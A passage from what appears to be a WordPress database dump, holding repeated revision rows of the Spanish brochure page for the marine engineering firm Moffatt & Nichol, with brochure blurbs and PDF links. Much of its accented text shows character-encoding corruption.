title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-5','','','2012-06-14 12:18:56','2012-06-14 12:18:56','',1995,'http://moffattnichol.com/spanish/1995-revision-5/',0,'revision','',0),(2434,1,'2012-06-14 12:19:22','2012-06-14 12:19:22','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-6','','','2012-06-14 12:19:22','2012-06-14 12:19:22','',1995,'http://moffattnichol.com/spanish/1995-revision-6/',0,'revision','',0),(2435,1,'2012-06-14 12:19:40','2012-06-14 12:19:40','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-7','','','2012-06-14 12:19:40','2012-06-14 12:19:40','',1995,'http://moffattnichol.com/spanish/1995-revision-7/',0,'revision','',0),(2436,1,'2012-06-14 12:20:02','2012-06-14 12:20:02','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img 